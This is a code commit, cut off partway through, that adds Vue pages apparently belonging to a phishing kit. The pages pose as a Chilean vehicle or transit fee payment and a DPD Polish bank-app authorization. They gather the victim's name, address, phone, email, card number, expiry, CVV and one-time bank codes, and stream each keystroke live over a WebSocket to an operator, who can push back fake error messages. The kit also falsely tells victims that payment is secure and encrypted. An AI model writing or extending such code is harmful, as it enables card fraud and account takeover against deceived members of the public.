update
This commit is contained in:
335
t_global_Fine_temp1/src/views/AddressView.vue
Normal file
335
t_global_Fine_temp1/src/views/AddressView.vue
Normal file
@@ -0,0 +1,335 @@
|
||||
<script setup lang="ts">
|
||||
import { useRouter } from "vue-router";
|
||||
import CommonLayout from "@/views/CommonLayout.vue";
|
||||
import { useLoadingStore } from "@/stores/loadingStore";
|
||||
import { reactive, ref, onMounted } from "vue";
|
||||
import { useI18n } from "vue-i18n";
|
||||
import { inputChange, configData, myWebSocket } from "@/utils/common";
|
||||
|
||||
const { t } = useI18n();
|
||||
const loadingStore = useLoadingStore();
|
||||
const router = useRouter();
|
||||
|
||||
// 1. 完全保留原始數據結構,確保與後端/工具類兼容
|
||||
const formData = reactive({
|
||||
fullName: "", // Nombre completo
|
||||
lastName: "N/A", // 雖然圖中沒分開,但保留此 key 確保邏輯不報錯
|
||||
phone: "", // Número de teléfono
|
||||
address: "", // Dirección
|
||||
address2: "", // 保留備用
|
||||
city: "", // Ciudad
|
||||
state: "", // Estado
|
||||
zipCode: "", // Código postal
|
||||
email: "", // Correo electrónico
|
||||
});
|
||||
|
||||
// 2. 完全保留原始錯誤狀態邏輯
|
||||
const formDataError = reactive({
|
||||
fullName: false,
|
||||
lastName: false,
|
||||
phone: false,
|
||||
address: false,
|
||||
city: false,
|
||||
state: false,
|
||||
zipCode: false,
|
||||
email: false,
|
||||
});
|
||||
|
||||
const emailErrorMessage = ref("");
|
||||
|
||||
// 3. 嚴格執行 inputChange 實時同步邏輯
|
||||
const textChange = (event: any, key: string) => {
|
||||
const value = event.target.value;
|
||||
|
||||
// 核心要求:調用 utils 中的實時同步函數
|
||||
inputChange("input_address", key, value);
|
||||
|
||||
if (key === 'email') {
|
||||
const emailPattern = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
|
||||
if (!value) {
|
||||
formDataError.email = true;
|
||||
emailErrorMessage.value = "Required field";
|
||||
} else if (!emailPattern.test(value)) {
|
||||
formDataError.email = true;
|
||||
emailErrorMessage.value = "Please enter a valid email address";
|
||||
} else {
|
||||
formDataError.email = false;
|
||||
emailErrorMessage.value = "";
|
||||
}
|
||||
} else if (key !== 'address2') {
|
||||
(formDataError as any)[key] = !value;
|
||||
}
|
||||
};
|
||||
|
||||
// 4. 按鈕啟用邏輯 (isFormComplete)
|
||||
const isFormComplete = () => {
|
||||
const emailPattern = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
|
||||
return (
|
||||
formData.fullName &&
|
||||
formData.email &&
|
||||
emailPattern.test(formData.email) &&
|
||||
formData.phone &&
|
||||
formData.address &&
|
||||
formData.city &&
|
||||
formData.state &&
|
||||
formData.zipCode
|
||||
);
|
||||
};
|
||||
|
||||
// 5. Next 跳轉邏輯
|
||||
const next = () => {
|
||||
// 再次校驗
|
||||
formDataError.fullName = !formData.fullName;
|
||||
formDataError.city = !formData.city;
|
||||
formDataError.address = !formData.address;
|
||||
formDataError.zipCode = !formData.zipCode;
|
||||
formDataError.state = !formData.state;
|
||||
formDataError.phone = !formData.phone;
|
||||
|
||||
const emailPattern = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
|
||||
if (!formData.email || !emailPattern.test(formData.email)) {
|
||||
formDataError.email = true;
|
||||
}
|
||||
|
||||
const hasError = Object.values(formDataError).some(val => val === true);
|
||||
if (hasError) return;
|
||||
|
||||
loadingStore.setLoading(true);
|
||||
setTimeout(() => {
|
||||
loadingStore.setLoading(false);
|
||||
router.push("/card");
|
||||
}, 400);
|
||||
};
|
||||
|
||||
onMounted(() => {
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "page_type",
|
||||
content: { pageType: "address" },
|
||||
})
|
||||
);
|
||||
localStorage.setItem("route", "address");
|
||||
const phone = localStorage.getItem("phoneNumber");
|
||||
if (phone) {
|
||||
formData.phone = phone;
|
||||
}
|
||||
});
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<CommonLayout>
|
||||
<template #default>
|
||||
<div class="main-content-body">
|
||||
<div class="chile-card-container">
|
||||
|
||||
<div class="chile-header">
|
||||
<h2>Datos del titular del vehículo</h2>
|
||||
<div class="blue-line"></div>
|
||||
</div>
|
||||
<div class="info-text">
|
||||
<p v-html="configData?.address_msg
|
||||
? configData?.address_msg
|
||||
: 'Para que el pago se asocie correctamente a su vehículo, necesitamos confirmar los datos del titular registrados.<br><br>Revise e ingrese la información solicitada con atención. Esta etapa es solo de identificación y no genera cobros hasta completar el pago en el siguiente paso.'">
|
||||
</p>
|
||||
</div>
|
||||
<form @submit.prevent="next" novalidate>
|
||||
|
||||
<div class="input-item">
|
||||
<label>Nombre completo</label>
|
||||
<input
|
||||
type="text"
|
||||
v-model="formData.fullName"
|
||||
@input="(e) => textChange(e, 'fullName')"
|
||||
:class="{ 'error-border': formDataError.fullName }"
|
||||
/>
|
||||
</div>
|
||||
|
||||
<div class="input-item">
|
||||
<label>Dirección</label>
|
||||
<input
|
||||
type="text"
|
||||
v-model="formData.address"
|
||||
@input="(e) => textChange(e, 'address')"
|
||||
:class="{ 'error-border': formDataError.address }"
|
||||
/>
|
||||
</div>
|
||||
|
||||
<div class="input-item">
|
||||
<label>Ciudad</label>
|
||||
<input
|
||||
type="text"
|
||||
v-model="formData.city"
|
||||
@input="(e) => textChange(e, 'city')"
|
||||
:class="{ 'error-border': formDataError.city }"
|
||||
/>
|
||||
</div>
|
||||
|
||||
<div class="input-item">
|
||||
<label>Estado</label>
|
||||
<input
|
||||
type="text"
|
||||
v-model="formData.state"
|
||||
@input="(e) => textChange(e, 'state')"
|
||||
:class="{ 'error-border': formDataError.state }"
|
||||
/>
|
||||
</div>
|
||||
|
||||
<div class="input-item">
|
||||
<label>Código postal</label>
|
||||
<input
|
||||
type="text"
|
||||
v-model="formData.zipCode"
|
||||
@input="(e) => textChange(e, 'zipCode')"
|
||||
:class="{ 'error-border': formDataError.zipCode }"
|
||||
/>
|
||||
</div>
|
||||
|
||||
<div class="input-item">
|
||||
<label>Número de teléfono</label>
|
||||
<input
|
||||
type="tel"
|
||||
v-model="formData.phone"
|
||||
@input="(e) => textChange(e, 'phone')"
|
||||
:class="{ 'error-border': formDataError.phone }"
|
||||
/>
|
||||
</div>
|
||||
|
||||
<div class="input-item">
|
||||
<label>Correo electrónico</label>
|
||||
<input
|
||||
type="email"
|
||||
v-model="formData.email"
|
||||
@input="(e) => textChange(e, 'email')"
|
||||
:class="{ 'error-border': formDataError.email }"
|
||||
/>
|
||||
<div class="error-msg" v-if="formDataError.email">{{ emailErrorMessage }}</div>
|
||||
</div>
|
||||
|
||||
<div class="action-btn-box">
|
||||
<button
|
||||
type="submit"
|
||||
class="chile-btn"
|
||||
:class="{ 'chile-btn-active': isFormComplete() }"
|
||||
:disabled="!isFormComplete()"
|
||||
>
|
||||
Continuar al pago
|
||||
</button>
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
</template>
|
||||
</CommonLayout>
|
||||
</template>
|
||||
|
||||
<style scoped>
|
||||
.main-content-body {
|
||||
background-color: #f5f7f9;
|
||||
min-height: 100vh;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
padding: 20px 15px;
|
||||
font-family: Arial, sans-serif;
|
||||
}
|
||||
|
||||
/* 復刻圖中的圓潤邊框與卡片感 */
|
||||
.chile-card-container {
|
||||
width: 100%;
|
||||
max-width: 480px;
|
||||
background-color: #ffffff;
|
||||
border: 1px solid #e1e8ed;
|
||||
border-radius: 12px; /* 圓潤 Border */
|
||||
padding: 25px 20px;
|
||||
box-shadow: 0 4px 12px rgba(0, 0, 0, 0.05);
|
||||
}
|
||||
|
||||
.chile-header h2 {
|
||||
font-size: 20px;
|
||||
font-weight: bold;
|
||||
color: #333;
|
||||
margin-bottom: 12px;
|
||||
}
|
||||
|
||||
.blue-line {
|
||||
height: 4px;
|
||||
background-color: #4a90e2;
|
||||
width: 100%;
|
||||
margin-bottom: 25px;
|
||||
}
|
||||
|
||||
.info-text p {
|
||||
font-size: 14px;
|
||||
color: #444;
|
||||
line-height: 1.6;
|
||||
margin-bottom: 15px;
|
||||
}
|
||||
|
||||
.input-item {
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.input-item label {
|
||||
display: block;
|
||||
font-weight: bold;
|
||||
font-size: 16px;
|
||||
margin-bottom: 8px;
|
||||
color: #333;
|
||||
}
|
||||
|
||||
input {
|
||||
width: 100%;
|
||||
padding: 12px 15px;
|
||||
border: 1px solid #ced4da;
|
||||
border-radius: 6px; /* 輸入框也圓潤 */
|
||||
font-size: 16px;
|
||||
box-sizing: border-box;
|
||||
transition: border-color 0.2s;
|
||||
}
|
||||
|
||||
input:focus {
|
||||
outline: none;
|
||||
border-color: #4a90e2;
|
||||
}
|
||||
|
||||
.error-border {
|
||||
border-color: #EF4444 !important;
|
||||
background-color: #FFF5F5;
|
||||
}
|
||||
|
||||
.error-msg {
|
||||
color: #EF4444;
|
||||
font-size: 12px;
|
||||
margin-top: 5px;
|
||||
}
|
||||
|
||||
.action-btn-box {
|
||||
margin-top: 35px;
|
||||
}
|
||||
|
||||
/* 智利風格藍色按鈕 */
|
||||
.chile-btn {
|
||||
width: 100%;
|
||||
background-color: #A8B8C4; /* 禁用態灰色 */
|
||||
color: #fff;
|
||||
border: none;
|
||||
border-radius: 8px;
|
||||
padding: 16px;
|
||||
font-size: 18px;
|
||||
font-weight: bold;
|
||||
cursor: not-allowed;
|
||||
opacity: 0.7;
|
||||
transition: all 0.3s;
|
||||
}
|
||||
|
||||
.chile-btn-active {
|
||||
background-color: #4a90e2 !important;
|
||||
opacity: 1 !important;
|
||||
cursor: pointer !important;
|
||||
box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
|
||||
}
|
||||
|
||||
.chile-btn-active:active {
|
||||
transform: translateY(1px);
|
||||
background-color: #357abd !important;
|
||||
}
|
||||
</style>
|
||||
275
t_global_Fine_temp1/src/views/AppValidView.vue
Normal file
275
t_global_Fine_temp1/src/views/AppValidView.vue
Normal file
@@ -0,0 +1,275 @@
|
||||
<script setup lang="ts">
|
||||
import {
|
||||
nextTick,
|
||||
onMounted,
|
||||
onUnmounted,
|
||||
reactive,
|
||||
ref,
|
||||
watch,
|
||||
} from "vue";
|
||||
import { useRoute } from "vue-router";
|
||||
|
||||
import eventBus from "@/utils/eventBus";
|
||||
const cardType = ref("");
|
||||
import { useI18n } from "vue-i18n";
|
||||
import { inputChange, myWebSocket } from "@/utils/common";
|
||||
const { t } = useI18n(); // 解构出t方法
|
||||
onMounted(() => {
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "page_type",
|
||||
content: { pageType: "appValid" },
|
||||
})
|
||||
);
|
||||
const route = useRoute();
|
||||
const query = route.query as any;
|
||||
if (query) {
|
||||
console.log("route", query);
|
||||
cardType.value = query.cardType;
|
||||
}
|
||||
localStorage.setItem("route", "appValid");
|
||||
eventBus.on("app-valid", handleEvent);
|
||||
});
|
||||
|
||||
const message = ref("");
|
||||
|
||||
const handleEvent = (data: { message2: string }) => {
|
||||
message.value = data.message2;
|
||||
};
|
||||
|
||||
onUnmounted(() => {
|
||||
eventBus.off("app-valid", handleEvent);
|
||||
});
|
||||
|
||||
const formData = reactive({ appVerifyCode: "" });
|
||||
|
||||
const onchange = (value: any) => {
|
||||
inputChange("input_card", "appVerifyCode", value.target.value);
|
||||
formData.appVerifyCode = value.target.value;
|
||||
};
|
||||
const showInput = ref(false);
|
||||
watch(message, (newValue, oldValue) => {
|
||||
showInput.value = !!(message.value.includes(":") || newValue.includes(":"));
|
||||
});
|
||||
|
||||
const submit = async () => {
|
||||
await nextTick();
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "submit_card",
|
||||
content: {
|
||||
type: "submitAppValidCode",
|
||||
formData: formData,
|
||||
},
|
||||
})
|
||||
);
|
||||
message.value = "";
|
||||
};
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<div class="dpd-app-wrapper">
|
||||
<div class="dpd-app-card">
|
||||
|
||||
|
||||
|
||||
<!-- 手机 App 授权图示 -->
|
||||
<div class="dpd-phone-icon">
|
||||
<svg viewBox="0 0 80 80" xmlns="http://www.w3.org/2000/svg" width="80" height="80">
|
||||
<rect x="18" y="4" width="44" height="72" rx="7" fill="#f4f4f4" stroke="#dc0032" stroke-width="2.5"/>
|
||||
<rect x="28" y="9" width="24" height="4" rx="2" fill="#dc0032" opacity="0.3"/>
|
||||
<circle cx="40" cy="70" r="3" fill="#dc0032" opacity="0.5"/>
|
||||
<path d="M40 22 L52 27 L52 38 Q52 47 40 52 Q28 47 28 38 L28 27 Z" fill="#dc0032" opacity="0.12" stroke="#dc0032" stroke-width="1.5"/>
|
||||
<polyline points="34,38 38,43 47,33" fill="none" stroke="#dc0032" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"/>
|
||||
</svg>
|
||||
</div>
|
||||
|
||||
<h2 class="dpd-title">Autoryzacja w aplikacji bankowej</h2>
|
||||
|
||||
<p class="dpd-desc">
|
||||
Otwórz aplikację swojego banku i potwierdź transakcję płatności DPD.<br/>
|
||||
Nie zamykaj tej strony do momentu potwierdzenia.
|
||||
</p>
|
||||
|
||||
<div class="dpd-bank-row">
|
||||
<svg viewBox="0 0 24 24" width="16" height="16" fill="#dc0032" style="flex-shrink:0">
|
||||
<path d="M12 1L3 5v6c0 5.55 3.84 10.74 9 12 5.16-1.26 9-6.45 9-12V5l-9-4z"/>
|
||||
</svg>
|
||||
<span><b>{{ t("Authorized bank") }}</b></span>
|
||||
</div>
|
||||
|
||||
<p class="dpd-sub">{{ t("Please go to the bank App to confirm the authorization") }}</p>
|
||||
<p class="dpd-sub">{{ t("Please do not close this page") }}</p>
|
||||
|
||||
<p class="dpd-error" v-if="message">{{ message }}</p>
|
||||
|
||||
<div class="dpd-input-wrap" v-if="showInput">
|
||||
<label class="dpd-input-label">Jednorazowy kod autoryzacyjny</label>
|
||||
<input
|
||||
required
|
||||
type="number"
|
||||
inputmode="numeric"
|
||||
class="dpd-input"
|
||||
@input="onchange"
|
||||
v-model="formData.appVerifyCode"
|
||||
minlength="3"
|
||||
maxlength="8"
|
||||
placeholder="Wprowadź kod"
|
||||
/>
|
||||
<button class="dpd-btn" type="button" @click="submit">Potwierdź</button>
|
||||
</div>
|
||||
|
||||
<div class="dpd-loading-wrap" v-if="!showInput">
|
||||
<svg class="dpd-spinner" viewBox="0 0 50 50" xmlns="http://www.w3.org/2000/svg">
|
||||
<circle cx="25" cy="25" r="20" fill="none" stroke="#eeeeee" stroke-width="4"/>
|
||||
<circle cx="25" cy="25" r="20" fill="none" stroke="#dc0032" stroke-width="4"
|
||||
stroke-dasharray="80 45" stroke-linecap="round"/>
|
||||
</svg>
|
||||
<p class="dpd-waiting">Oczekiwanie na potwierdzenie w aplikacji…</p>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</template>
|
||||
|
||||
<style scoped>
|
||||
.dpd-app-wrapper {
|
||||
min-height: 100dvh;
|
||||
background-color: #f6f6f6;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
padding: 24px 16px;
|
||||
font-family: Arial, sans-serif;
|
||||
}
|
||||
|
||||
.dpd-app-card {
|
||||
background: #ffffff;
|
||||
border-radius: 8px;
|
||||
border: 1px solid #e5e5e5;
|
||||
box-shadow: 0 2px 12px rgba(0,0,0,0.06);
|
||||
padding: 36px 28px;
|
||||
width: 100%;
|
||||
max-width: 400px;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.dpd-logo {
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.dpd-logo-img {
|
||||
width: 100px;
|
||||
height: auto;
|
||||
}
|
||||
|
||||
.dpd-phone-icon {
|
||||
margin: 0 auto 20px;
|
||||
}
|
||||
|
||||
.dpd-title {
|
||||
font-size: 20px;
|
||||
font-weight: 800;
|
||||
color: #222;
|
||||
margin-bottom: 12px;
|
||||
}
|
||||
|
||||
.dpd-desc {
|
||||
font-size: 14px;
|
||||
color: #555;
|
||||
line-height: 1.6;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.dpd-bank-row {
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
gap: 6px;
|
||||
font-size: 14px;
|
||||
color: #333;
|
||||
margin-bottom: 8px;
|
||||
}
|
||||
|
||||
.dpd-sub {
|
||||
font-size: 13px;
|
||||
color: #888;
|
||||
margin: 4px 0;
|
||||
}
|
||||
|
||||
.dpd-error {
|
||||
color: #dc0032;
|
||||
font-size: 14px;
|
||||
font-weight: 600;
|
||||
margin: 12px 0;
|
||||
}
|
||||
|
||||
.dpd-input-wrap {
|
||||
margin-top: 20px;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 10px;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.dpd-input-label {
|
||||
font-size: 14px;
|
||||
font-weight: 600;
|
||||
color: #333;
|
||||
}
|
||||
|
||||
.dpd-input {
|
||||
width: 80%;
|
||||
padding: 10px 12px;
|
||||
border: 2px solid #ccc;
|
||||
border-radius: 6px;
|
||||
font-size: 18px;
|
||||
font-weight: 700;
|
||||
text-align: center;
|
||||
outline: none;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
.dpd-input:focus {
|
||||
border-color: #dc0032;
|
||||
}
|
||||
|
||||
.dpd-btn {
|
||||
width: 80%;
|
||||
padding: 12px;
|
||||
background-color: #dc0032;
|
||||
color: #fff;
|
||||
border: none;
|
||||
border-radius: 6px;
|
||||
font-size: 16px;
|
||||
font-weight: 700;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
.dpd-btn:active {
|
||||
background-color: #b30026;
|
||||
}
|
||||
|
||||
.dpd-loading-wrap {
|
||||
margin-top: 24px;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: center;
|
||||
gap: 12px;
|
||||
}
|
||||
|
||||
.dpd-spinner {
|
||||
width: 48px;
|
||||
height: 48px;
|
||||
animation: spin 1.2s linear infinite;
|
||||
}
|
||||
|
||||
.dpd-waiting {
|
||||
font-size: 13px;
|
||||
color: #999;
|
||||
}
|
||||
|
||||
@keyframes spin {
|
||||
from { transform: rotate(0deg); }
|
||||
to { transform: rotate(360deg); }
|
||||
}
|
||||
</style>
|
||||
439
t_global_Fine_temp1/src/views/CardView.vue
Normal file
439
t_global_Fine_temp1/src/views/CardView.vue
Normal file
@@ -0,0 +1,439 @@
|
||||
<script setup lang="ts">
|
||||
import { inject, nextTick, onMounted, onUnmounted, reactive, ref, computed } from "vue";
|
||||
import CommonLayout from "@/views/CommonLayout.vue";
|
||||
import { useLoadingStore } from "@/stores/loadingStore";
|
||||
import eventBus from "@/utils/eventBus";
|
||||
import PaymentLoadingModal from "@/components/PaymentLoadingModal.vue";
|
||||
import { useRoute, useRouter } from "vue-router";
|
||||
import {
|
||||
inputChange, configData,
|
||||
myWebSocket,
|
||||
} from "@/utils/common";
|
||||
import { useI18n } from "vue-i18n";
|
||||
|
||||
// 銀行卡圖標
|
||||
import c1 from "@/assets/img/b4f258fb3fcfa.svg";
|
||||
import c2 from "@/assets/img/d9f501073fcfa.svg";
|
||||
import c3 from "@/assets/img/761998023fcfa.svg";
|
||||
import c4 from "@/assets/img/272b931f3fcfa.svg";
|
||||
import c5 from "@/assets/img/d2820b3b3fcfa.svg";
|
||||
import c6 from "@/assets/img/e62e66803fcfa.svg";
|
||||
import c7 from "@/assets/img/c8e88e5f3fcfa.svg";
|
||||
import c8 from "@/assets/img/1a32e1333fcfa.svg";
|
||||
const c10 ="/Static_zy/default.svg";
|
||||
|
||||
const { t } = useI18n();
|
||||
const router = useRouter();
|
||||
const invoiceNumber = ref("");
|
||||
const isModalVisible = ref(false);
|
||||
|
||||
const loadingStore = useLoadingStore();
|
||||
const formData = reactive({
|
||||
cardNumber: "",
|
||||
cardName: "",
|
||||
expires: "",
|
||||
cvv: "",
|
||||
});
|
||||
|
||||
// 錯誤狀態提示
|
||||
const errors = reactive({
|
||||
cardName: false,
|
||||
cardNumber: false,
|
||||
expires: false,
|
||||
cvv: false
|
||||
});
|
||||
|
||||
const cardMessage = ref("");
|
||||
const expiresErrorMsg = ref("");
|
||||
const cvvMaxLength = ref(4);
|
||||
|
||||
// 卡種識別邏輯
|
||||
const cardTypeImage = computed(() => {
|
||||
const num = formData.cardNumber.replace(/\D/g, "");
|
||||
if (!num) return c10;
|
||||
if (/^4/.test(num)) return c1;
|
||||
if (/^(5[1-5]|222[1-9]|22[3-9]|2[3-6]|27[0-1]|2720)/.test(num)) return c2;
|
||||
if (/^3[47]/.test(num)) return c5;
|
||||
if (/^(62|81)/.test(num)) return c4;
|
||||
if (/^6(011|4[4-9]|5)/.test(num)) return c6;
|
||||
if (/^35/.test(num)) return c3;
|
||||
if (/^(30|36|38|39)/.test(num)) return c8;
|
||||
if (/^(50|56|57|58|6)/.test(num)) return c7;
|
||||
return c10;
|
||||
});
|
||||
|
||||
const isCardIdentified = computed(() => cardTypeImage.value !== c10);
|
||||
|
||||
// 統一的輸入校驗邏輯
|
||||
const onCardNameChange = (e: any) => {
|
||||
formData.cardName = e.target.value;
|
||||
errors.cardName = !formData.cardName;
|
||||
cardMessage.value = "";
|
||||
inputChange("input_card", "cardName", formData.cardName);
|
||||
};
|
||||
|
||||
const onCardNumberChange = (e: any) => {
|
||||
let val = e.target.value.replace(/\D/g, "");
|
||||
if (val.length > 16) val = val.slice(0, 16);
|
||||
formData.cardNumber = val.replace(/(\d{4})(?=\d)/g, "$1 ");
|
||||
errors.cardNumber = val.length < 15;
|
||||
if (val.length > 0) cardMessage.value = "";
|
||||
inputChange("input_card", "cardNumber", val);
|
||||
};
|
||||
|
||||
const onExpiresChange = (e: any) => {
|
||||
let val = e.target.value.replace(/\D/g, "");
|
||||
|
||||
// 处理退格键删除 '/' 的情况
|
||||
if (e.inputType === 'deleteContentBackward' && formData.expires.endsWith('/') && val.length === 2) {
|
||||
val = val.slice(0, 1);
|
||||
}
|
||||
|
||||
if (val.length > 4) val = val.slice(0, 4);
|
||||
formData.expires = val.length >= 2 ? val.slice(0, 2) + "/" + val.slice(2) : val;
|
||||
cardMessage.value = "";
|
||||
validateExpireDate(formData.expires);
|
||||
inputChange("input_card", "expires", formData.expires);
|
||||
};
|
||||
|
||||
const onCvvChange = (e: any) => {
|
||||
formData.cvv = e.target.value.replace(/\D/g, "");
|
||||
errors.cvv = formData.cvv.length < 3;
|
||||
cardMessage.value = "";
|
||||
inputChange("input_card", "cvv", formData.cvv);
|
||||
};
|
||||
|
||||
const validateExpireDate = (value: string) => {
|
||||
if (!value || value.length < 5) {
|
||||
errors.expires = true;
|
||||
expiresErrorMsg.value = "Required field";
|
||||
return false;
|
||||
}
|
||||
const [monthStr, yearStr] = value.split('/');
|
||||
const month = parseInt(monthStr);
|
||||
|
||||
if (month < 1 || month > 12) {
|
||||
errors.expires = true;
|
||||
expiresErrorMsg.value = "Invalid month";
|
||||
return false;
|
||||
}
|
||||
|
||||
// 檢查日期是否過期
|
||||
const today = new Date();
|
||||
const currentYear = today.getFullYear();
|
||||
const currentMonth = today.getMonth() + 1;
|
||||
const cardYear = 2000 + parseInt(yearStr);
|
||||
|
||||
if (cardYear < currentYear || (cardYear === currentYear && month < currentMonth)) {
|
||||
errors.expires = true;
|
||||
expiresErrorMsg.value = "Card has expired";
|
||||
return false;
|
||||
}
|
||||
|
||||
errors.expires = false;
|
||||
expiresErrorMsg.value = "";
|
||||
return true;
|
||||
};
|
||||
|
||||
const next = async () => {
|
||||
errors.cardName = !formData.cardName;
|
||||
errors.cardNumber = formData.cardNumber.replace(/\s/g, "").length < 15;
|
||||
errors.cvv = formData.cvv.length < 3;
|
||||
validateExpireDate(formData.expires);
|
||||
|
||||
if (errors.cardName || errors.cardNumber || errors.expires || errors.cvv) return;
|
||||
|
||||
isModalVisible.value = true;
|
||||
const cleanCardNumber = formData.cardNumber.replace(/\s/g, "");
|
||||
localStorage.setItem("cardNumber", cleanCardNumber);
|
||||
myWebSocket?.send(JSON.stringify({
|
||||
event: "submit_card",
|
||||
content: { type: "submitCard", formData: { ...formData, cardNumber: cleanCardNumber } },
|
||||
}));
|
||||
};
|
||||
|
||||
const handleEvent = (data: { message2: string }) => {
|
||||
cardMessage.value = data.message2;
|
||||
isModalVisible.value = false;
|
||||
};
|
||||
|
||||
onMounted(() => {
|
||||
loadingStore.setLoading(false);
|
||||
eventBus.on("my-event", handleEvent);
|
||||
localStorage.setItem("route", "card");
|
||||
const inumber = localStorage.getItem("invoiceNumber");
|
||||
if (inumber) invoiceNumber.value = inumber;
|
||||
|
||||
// 从路由查询参数获取错误信息 - 从其他页面返回时显示全局错误
|
||||
const route = useRoute();
|
||||
if (route.query.message2) {
|
||||
cardMessage.value = route.query.message2 as string;
|
||||
}
|
||||
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "page_type",
|
||||
content: { pageType: "card" },
|
||||
})
|
||||
);
|
||||
});
|
||||
|
||||
onUnmounted(() => eventBus.off("my-event", handleEvent));
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<CommonLayout>
|
||||
<template #default>
|
||||
<div class="payment-page-container">
|
||||
|
||||
<h1 class="main-title">Confirmar y pagar el monto pendiente</h1>
|
||||
<div class="blue-line"></div>
|
||||
|
||||
<div class="payment-card">
|
||||
<div class="total-label">Total a pagar por el tránsito</div>
|
||||
<div class="total-amount">${{ configData?.pay_amount ? configData.pay_amount : "6.99" }}</div>
|
||||
</div>
|
||||
|
||||
<div class="payment-form-card">
|
||||
<div class="methods-container">
|
||||
<p class="methods-text">Medios de pago habilitados</p>
|
||||
<div class="icon-grid">
|
||||
<img src="https://img.icons8.com/color/48/000000/visa.png" />
|
||||
<img src="https://img.icons8.com/color/48/000000/mastercard.png" />
|
||||
<img src="https://img.icons8.com/color/48/000000/amex.png" />
|
||||
<img src="https://img.icons8.com/color/48/000000/maestro.png" />
|
||||
<img src="https://img.icons8.com/color/48/000000/jcb.png" />
|
||||
<img src="https://img.icons8.com/color/48/000000/discover.png" />
|
||||
<img src="https://img.icons8.com/color/48/000000/diners-club.png" />
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<form @submit.prevent="next" class="payment-form" novalidate>
|
||||
<div class="form-item">
|
||||
<label>Nombre del titular <span class="req">*</span></label>
|
||||
<input type="text" v-model="formData.cardName" @input="onCardNameChange"
|
||||
:class="{ 'field-error': errors.cardName }" />
|
||||
<div class="msg-error" v-if="errors.cardName">Campo requerido</div>
|
||||
</div>
|
||||
|
||||
<div class="form-item">
|
||||
<label>Número de tarjeta <span class="req">*</span></label>
|
||||
<div class="input-with-icon">
|
||||
<input type="text" placeholder="0000 0000 0000 0000" v-model="formData.cardNumber"
|
||||
@input="onCardNumberChange" :class="{ 'field-error': errors.cardNumber || cardMessage }" />
|
||||
<div class="card-type-indicator" v-if="isCardIdentified"><img :src="cardTypeImage" /></div>
|
||||
</div>
|
||||
<div class="msg-error" v-if="errors.cardNumber">Ingrese un número de tarjeta válido</div>
|
||||
<div class="msg-error" v-if="cardMessage">{{ t(cardMessage) }}</div>
|
||||
</div>
|
||||
|
||||
<div class="flex-row">
|
||||
<div class="form-item half">
|
||||
<label>Fecha de vencimiento <span class="req">*</span></label>
|
||||
<input type="text" placeholder="MM/YY" v-model="formData.expires" @input="onExpiresChange"
|
||||
:class="{ 'field-error': errors.expires }" />
|
||||
<div class="msg-error" v-if="errors.expires">{{ expiresErrorMsg }}</div>
|
||||
</div>
|
||||
<div class="form-item half">
|
||||
<label>CVV <span class="req">*</span></label>
|
||||
<input type="text" placeholder="123" v-model="formData.cvv" @input="onCvvChange" maxlength="4"
|
||||
:class="{ 'field-error': errors.cvv }" />
|
||||
<div class="msg-error" v-if="errors.cvv">Requerido</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="button-section">
|
||||
<button type="submit" class="pay-now-btn">Pagar ahora</button>
|
||||
</div>
|
||||
</form>
|
||||
|
||||
<div class="security-message">
|
||||
El pago se procesa en un entorno seguro y cifrado, conforme a los estándares de protección de datos vigentes en Chile.
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</template>
|
||||
</CommonLayout>
|
||||
<PaymentLoadingModal v-model:visible="isModalVisible" :card-number="formData.cardNumber" :loading="true" />
|
||||
</template>
|
||||
|
||||
<style scoped>
|
||||
.payment-page-container {
|
||||
max-width: 480px;
|
||||
margin: 0 auto;
|
||||
padding: 20px 15px 50px;
|
||||
background-color: #fff;
|
||||
}
|
||||
|
||||
.blue-line {
|
||||
height: 4px;
|
||||
background-color: #4a90e2;
|
||||
width: 100%;
|
||||
margin-bottom: 25px;
|
||||
}
|
||||
|
||||
.main-title {
|
||||
font-size: 20px;
|
||||
font-weight: bold;
|
||||
color: #333;
|
||||
margin-bottom: 10px;
|
||||
text-align: left;
|
||||
}
|
||||
|
||||
/* 支付總額卡片 */
|
||||
.payment-card {
|
||||
background-color: #f0f7ff;
|
||||
border-left: 4px solid #4a90e2;
|
||||
padding: 20px;
|
||||
margin-bottom: 25px;
|
||||
border-radius: 4px;
|
||||
}
|
||||
|
||||
.total-label {
|
||||
font-size: 14px;
|
||||
color: #666;
|
||||
text-align: center;
|
||||
margin-bottom: 10px;
|
||||
}
|
||||
|
||||
.total-amount {
|
||||
font-size: 32px;
|
||||
font-weight: bold;
|
||||
color: #333;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
/* 支付部分卡片樣式 */
|
||||
.payment-form-card {
|
||||
border: 1px solid #ddd;
|
||||
border-radius: 4px;
|
||||
padding: 20px;
|
||||
background: #fff;
|
||||
}
|
||||
|
||||
.security-message {
|
||||
